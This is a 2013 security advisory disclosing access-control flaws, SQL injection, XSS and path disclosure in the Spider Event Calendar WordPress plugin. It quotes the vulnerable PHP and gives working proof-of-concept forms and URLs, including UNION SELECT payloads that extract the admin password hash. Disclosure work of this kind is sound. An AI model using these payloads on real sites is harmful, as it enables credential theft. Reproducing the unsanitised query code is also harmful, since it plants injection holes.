1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 |
[waraxe-2013-SA#104] - Multiple Vulnerabilities in Spider Event Calendar WordPress Plugin =================================================================================== Author: Janek Vind "waraxe" Date: 22. May 2013 Location: Estonia, Tartu Web: http://www.waraxe.us/advisory-104.html Description of vulnerable software: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Spider Event Calendar is a highly configurable plugin which allows you to have multiple organized events in a calendar. This plugin is one of the best WordPress Calendar available in WordPress Directory. If you have problem with organizing your WordPress Calendar events and displaying them in a calendar format, then Spider WordPress Calendar Plugin is the best solution. http://wordpress.org/extend/plugins/spider-event-calendar/ http://web-dorado.com/products/wordpress-calendar.html Vulnerable is current version 1.3.0, older versions not tested. ############################################################################### 1. Insufficient access check for AJAX operations in "calendar.php" ############################################################################### Reason: 1. weak access control implementation Preconditions: 1. must be logged in as WordPress user Impact: 1. Any WordPress user can edit Spider Calendar Php script "calendar.php" line 197: ------------------------[ source code start ]---------------------------------- add_action('wp_ajax_spidercalendarinlineedit', 'spider_calendar_quick_edit'); add_action('wp_ajax_spidercalendarinlineupdate', 'spider_calendar_quick_update'); function spider_calendar_quick_update(){ global $wpdb; if(isset($_POST['calendar_id']) && isset($_POST['calendar_title']) && isset($_POST['us_12_format_sp_calendar'])){ $wpdb->update( ... function spider_calendar_quick_edit(){ global $wpdb; if(isset($_POST['calendar_id'])){ $row=$wpdb->get_row( ------------------------[ source code end ]------------------------------------ We can see, that AJAX actions "wp_ajax_spidercalendarinlineedit" and "wp_ajax_spidercalendarinlineupdate" are bound to functions "spider_calendar_quick_edit" and "spider_calendar_quick_update". This two functions are meant to be used only by admin, but there is nothing to stop low privileged users. Even users with "Subscriber" access level can use those two AJAX functions. Test: <html><body><center> <form action="http://localhost/wp351/wp-admin/admin-ajax.php?action=spidercalendarinlineedit"; method="post"> <input type="hidden" name="calendar_id" value="1"> <input type="submit" value="Test"> </form> </center></body></html> Result: calendar editing form will be shown Remark: This weakness in access control makes next two SQL injection vulnerabilities much more critical - there is no need for admin privileges, even low level Wordpress user is able to exploit these vulnerabilities. ############################################################################### 2. SQL Injection in "calendar.php" function "spider_calendar_quick_update" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied POST parameter "calendar_id" Preconditions: 1. must be logged in as WordPress user Php script "calendar.php" line 199: ------------------------[ source code start ]---------------------------------- add_action('wp_ajax_spidercalendarinlineupdate', 'spider_calendar_quick_update'); function spider_calendar_quick_update(){ global $wpdb; if(isset($_POST['calendar_id']) && isset($_POST['calendar_title']) && isset($_POST['us_12_format_sp_calendar'])){ ... $row=$wpdb->get_row("SELECT * FROM ".$wpdb->prefix."spidercalendar_calendar WHERE id=".$_POST['calendar_id']); ------------------------[ source code end ]------------------------------------ As seen above, user-supplied POST parameter "calendar_id" is used in SQL query without any sanitization, resulting in SQL injection vulnerability. Test: <html><body><center> <form action="http://localhost/wp351/wp-admin/admin-ajax.php?action=spidercalendarinlineupdate"; method="post"> <input type="hidden" name="calendar_title" value="1"> <input type="hidden" name="us_12_format_sp_calendar" value="2"> <input type="hidden" name="calendar_id" value="0 UNION SELECT 1,(SELECT CONCAT_WS(0x3a,user_login,user_pass,user_email)FROM wp_users WHERE ID=1),3,4,5,6,7"> <input type="submit" value="Test"> </form> </center></body></html> Result: in case of success it will be revealed sensitive information about Wordpress user with ID 1: username, password hash and email. ############################################################################### 3. SQL Injection in "calendar.php" function "spider_calendar_quick_edit" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied POST parameter "calendar_id" Preconditions: 1. must be logged in as WordPress user Php script "calendar.php" line 197: ------------------------[ source code start ]---------------------------------- add_action('wp_ajax_spidercalendarinlineedit', 'spider_calendar_quick_edit'); ... function spider_calendar_quick_edit(){ global $wpdb; if(isset($_POST['calendar_id'])){ $row=$wpdb->get_row("SELECT * FROM ".$wpdb->prefix."spidercalendar_calendar WHERE id=".$_POST['calendar_id']); ------------------------[ source code end ]------------------------------------ We can see, that user-supplied POST parameter "calendar_id" is used in SQL query without any sanitization, resulting in SQL injection vulnerability. Test: <html><body><center> <form action="http://localhost/wp351/wp-admin/admin-ajax.php?action=spidercalendarinlineedit"; method="post"> <input type="hidden" name="calendar_id" value="0 UNION SELECT 1,(SELECT CONCAT_WS(0x3a,user_login,user_pass,user_email)FROM wp_users WHERE ID=1),3,4,5,6,7"> <input type="submit" value="Test"> </form> </center></body></html> Result: in case of success it will be revealed sensitive information about Wordpress user with ID 1: username, password hash and email. ############################################################################### 4. SQL Injection in "calendar_functions.php" function "show_spider_calendar" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied POST parameter "order_by" Preconditions: 1. must be logged in as user with "manage_options" privileges (admin by default) Php script "calendar_functions.php" line 11: ------------------------[ source code start ]---------------------------------- function show_spider_calendar(){ ... $sort["sortid_by"]=$_POST['order_by']; ... $order="ORDER BY ".$sort["sortid_by"]." ASC"; ... $query = "SELECT * FROM ".$wpdb->prefix."spidercalendar_calendar".$where." ". $order." "." LIMIT ".$limit.",20"; $rows = $wpdb->get_results($query); ------------------------[ source code end ]------------------------------------ We can see, that user-supplied POST parameter "order_by" is used in SQL query without any sanitization, resulting in SQL injection vulnerability. Example exploit: <html><body><center> <form action="http://localhost/wp351/wp-admin/admin.php?page=SpiderCalendar"; method="post"> <input type="hidden" name="page_number" value="1"> <input type="hidden" name="asc_or_desc" value="1"> <input type="hidden" name="order_by" value="IF(1=1,1,(SELECT 1 UNION SELECT 2))"> <input type="submit" value="Test"> </form> </center></body></html> ############################################################################### 5. SQL Injection in "calendar_functions.php" function "show_spider_event" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied GET parameter "calendar_id" and POST parameter "order_by" Preconditions: 1. must be logged in as user with "manage_options" privileges (admin by default) Php script "calendar.php" line 530: ------------------------[ source code start ]---------------------------------- if(isset($_GET["task"])){ $task=$_GET["task"]; ... if(isset($_GET["calendar_id"])) { $calendar_id=$_GET["calendar_id"]; ... switch($task){ ... case 'show_manage_event': show_spider_event($calendar_id); ------------------------[ source code end ]------------------------------------ Php script "calendar_functions.php" line 278: ------------------------[ source code start ]---------------------------------- function show_spider_event($calendar_id){ ... $sort["sortid_by"]=$_POST['order_by']; ... $order="ORDER BY ".$sort["sortid_by"]." ASC"; ... $query = "SELECT * FROM ".$wpdb->prefix."spidercalendar_event WHERE calendar=".$calendar_id." ".$where." ". $order." "." LIMIT ".$limit.",20"; $rows = $wpdb->get_results($query); ------------------------[ source code end ]------------------------------------ We can see, that user-supplied GET parameter "calendar_id"and POST parameter "order_by" are used in SQL query without any sanitization, resulting in SQL injection vulnerability. Test: http://localhost/wp351/wp-admin/admin.php?page=SpiderCalendar&; task=show_manage_event&calendar_id=0+UNION+SELECT+1,2,3,4,(SELECT+ CONCAT_WS(0x3a,user_login,user_pass,user_email)FROM+wp_users+WHERE+ID=1),6,7,8 ,9,10,11,12,13,14,15,16,17 Result: in case of success it will be revealed sensitive information about Wordpress user with ID 1: username, password hash and email. ############################################################################### 6. SQL Injection in "calendar_functions.php" function "spider_calendar_published" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied GET parameter "id" Preconditions: 1. must be logged in as user with "manage_options" privileges (admin by default) Php script "calendar.php" line 530: ------------------------[ source code start ]---------------------------------- if(isset($_GET["task"])){ $task=$_GET["task"]; ... if(isset($_GET["id"])) { $id=$_GET["id"]; ... switch($task){ ... case 'published'; spider_calendar_published($id); ------------------------[ source code end ]------------------------------------ Php script "calendar_functions.php" line 225: ------------------------[ source code start ]---------------------------------- function spider_calendar_published($id) { global $wpdb; $yes_or_no=$wpdb->get_var('SELECT published FROM '.$wpdb->prefix.'spidercalendar_calendar WHERE <code>id</code>='.$id); ------------------------[ source code end ]------------------------------------ We can see, that user-supplied GET parameter "id" is used in SQL query without any sanitization, resulting in SQL injection vulnerability. Tests: http://localhost/wp351/wp-admin/admin.php?page=SpiderCalendar&task=published &id=IF(1=1,1,SLEEP(10)) Result: normal webpage http://localhost/wp351/wp-admin/admin.php?page=SpiderCalendar&task=published &id=IF(1=2,1,SLEEP(10)) Result: 10 second delay can be observed, SQL injection confirmed. ############################################################################### 7. SQL Injection in "calendar_functions.php" function "add_spider_event" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied GET parameter "calendar_id" Preconditions: 1. must be logged in as user with "manage_options" privileges (admin by default) Php script "calendar.php" line 530: ------------------------[ source code start ]---------------------------------- if(isset($_GET["task"])){ $task=$_GET["task"]; ... if(isset($_GET["calendar_id"])) { $calendar_id=$_GET["calendar_id"]; ... switch($task){ ... case 'add_event': add_spider_event($calendar_id); ------------------------[ source code end ]------------------------------------ Php script "calendar_functions.php" line 357: ------------------------[ source code start ]---------------------------------- function add_spider_event($calendar_id){ global $wpdb; $cal_name=$wpdb->get_var('SELECT title'.' FROM '.$wpdb->prefix.'spidercalendar_calendar WHERE id='. $calendar_id); html_add_spider_event($calendar_id,$cal_name); ------------------------[ source code end ]------------------------------------ We can see, that user-supplied GET parameter "calendar_id" is used in SQL query without any sanitization, resulting in SQL injection vulnerability. Test: http://localhost/wp351/wp-admin/admin.php?page=SpiderCalendar&task=add_event &calendar_id=0+UNION+SELECT+@@version Result: MySQL version will be revealed, SQL Injection confirmed. ############################################################################### 8. SQL Injection in "calendar_functions.php" function "edit_spider_event" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied GET parameter "calendar_id" Preconditions: 1. must be logged in as user with "manage_options" privileges (admin by default) Php script "calendar.php" line 530: ------------------------[ source code start ]---------------------------------- if(isset($_GET["task"])){ $task=$_GET["task"]; ... if(isset($_GET["calendar_id"])) { $calendar_id=$_GET["calendar_id"]; ... switch($task){ ... case 'edit_event': edit_spider_event($calendar_id,$id); ------------------------[ source code end ]------------------------------------ Php script "calendar_functions.php" line 369: ------------------------[ source code start ]---------------------------------- function edit_spider_event($calendar_id,$id){ ... $cal_name=$wpdb->get_var('SELECT title'.' FROM '.$wpdb->prefix.'spidercalendar_calendar WHERE id='. $calendar_id); html_edit_spider_event($row,$calendar_id,$id,$cal_name); ------------------------[ source code end ]------------------------------------ We can see, that user-supplied GET parameter "calendar_id" is used in SQL query without any sanitization, resulting in SQL injection vulnerability. Test: http://localhost/wp351/wp-admin/admin.php?page=SpiderCalendar&task=edit_event &id=1&calendar_id=0+UNION+SELECT+@@version Result: MySQL version will be revealed, SQL Injection confirmed. ############################################################################### 9. SQL Injection in "calendar_functions.php" function "published_spider_event" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied GET parameter "id" Preconditions: 1. must be logged in as user with "manage_options" privileges (admin by default) Php script "calendar.php" line 530: ------------------------[ source code start ]---------------------------------- if(isset($_GET["task"])){ $task=$_GET["task"]; ... if(isset($_GET["id"])) { $id=$_GET["id"]; ... switch($task){ ... case 'published_event'; published_spider_event($id); ------------------------[ source code end ]------------------------------------ Php script "calendar_functions.php" line 575: ------------------------[ source code start ]---------------------------------- function published_spider_event($id) { global $wpdb; $yes_or_no=$wpdb->get_var('SELECT published FROM '.$wpdb->prefix.'spidercalendar_event WHERE <code>id</code>='.$id); ------------------------[ source code end ]------------------------------------ We can see, that user-supplied GET parameter "id" is used in SQL query without any sanitization, resulting in SQL injection vulnerability. Tests: http://localhost/wp351/wp-admin/admin.php?page=SpiderCalendar&task=published_event &id=IF(1=1,1,SLEEP(10)) Result: normal webpage http://localhost/wp351/wp-admin/admin.php?page=SpiderCalendar&task=published_event &id=IF(1=2,1,SLEEP(10)) Result: 10 second delay can be observed, SQL injection confirmed. ############################################################################### 10. Stored XSS in Spider Calendar title ############################################################################### Reason: 1. insufficient sanitization of html output Preconditions: 1.must be logged in as user with "manage_options" privileges (admin by default) Test: 1. Add or edit Spider Calendar entry and set title for calendar as following: test<script>alert(123);</script> 2. View calendar entry: http://localhost/wp351/wp-admin/admin.php?page=SpiderCalendar&id=2 Result: javascript alert box pops up, confirming Stored XSS vulnerability. ############################################################################### 11. Stored XSS in Spider Calendar event title ############################################################################### Reason: 1. insufficient sanitization of html output Preconditions: 1.must be logged in as user with "manage_options" privileges (admin by default) Test: 1. Add or edit Spider Calendar event entry and set title for event as following: test<script>alert(123);</script> 2. View calendar event entry: http://localhost/wp351/wp-admin/admin.php?page=SpiderCalendar&task=show_manage_event&calendar_id=1 Result: javascript alert box pops up, confirming Stored XSS vulnerability. ############################################################################### 12. Reflected XSS in "nav_function\nav_html_func.php" ############################################################################### Reason: 1. insufficient sanitization of html output Attack vectors: 1. user-supplied POST parameters "page_number" and "serch_or_not" Preconditions: 1. must be logged in as user with "manage_options" privileges (admin by default) Test: <html><body><center> <form action="http://localhost/wp351/wp-admin/admin.php?page=SpiderCalendar"; method="post"> <input type="hidden" name="page_number" value='"><script>alert(123);</script>'> <input type="hidden" name="serch_or_not" value='"><script>alert(456);</script>'> <input type="submit" value="Test"> </form> </center></body></html> Result: javascript alert boxes pop up, confirming Reflected XSS vulnerabilities. ############################################################################### 13. Reflected XSS in "functions_for_xml_and_ajax.php" ############################################################################### Reason: 1. insufficient sanitization of html output Attack vectors: 1. user-supplied GET parameters "theme_id", "calendar_id", "ev_ids" and "eventID" Preconditions: none Tests: http://localhost/wp351/wp-admin/admin-ajax.php?action=spiderbigcalendarrr&theme_id=";><script>alert(123);</script> http://localhost/wp351/wp-admin/admin-ajax.php?action=spiderbigcalendarrr&calendar_id=";><script>alert(123);</script> http://localhost/wp351/wp-admin/admin-ajax.php?action=spiderbigcalendarrr&ev_ids=";><script>alert(123);</script> http://localhost/wp351/wp-admin/admin-ajax.php?action=spiderbigcalendarrr&eventID=";><script>alert(123);</script> Result: javascript alert boxes pop up, confirming Reflected XSS vulnerabilities. ############################################################################### 14. Full Path Disclosure in multiple scripts ############################################################################### Preconditions: 1. PHP setting "display_errors = On" Tests: http://localhost/wp351/wp-content/plugins/spider-event-calendar/calendar.php Fatal error: Call to undefined function add_action() in C:\apache_www\wp351\wp-content\plugins\spider-event-calendar\calendar.php on line 13 http://localhost/wp351/wp-content/plugins/spider-event-calendar/calendar_functions.html.php Fatal error: Call to undefined function current_user_can() in C:\apache_www\wp351\wp-content\plugins\spider-event-calendar\calendar_functions.html.php on line 3 http://localhost/wp351/wp-content/plugins/spider-event-calendar/calendar_functions.php Fatal error: Call to undefined function current_user_can() in C:\apache_www\wp351\wp-content\plugins\spider-event-calendar\calendar_functions.php on line 3 http://localhost/wp351/wp-content/plugins/spider-event-calendar/widget_spider_calendar.php Fatal error: Class 'WP_Widget' not found in C:\apache_www\wp351\wp-content\plugins\spider-event-calendar\widget_spider_calendar.php on line 7 http://localhost/wp351/wp-admin/admin-ajax.php?action=spiderseemore&date[] Warning: strtotime() expects parameter 1 to be string, array given in C:\apache_www\wp351\wp-content\plugins\spider-event-calendar\functions_for_xml_and_ajax.php on line 1885 Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe () yahoo com Janek Vind "waraxe" Waraxe forum:http://www.waraxe.us/forums.html Personal homepage: http://www.janekvind.com/ Random project: http://albumnow.com/ ---------------------------------- [ EOF ] ------------------------------------ |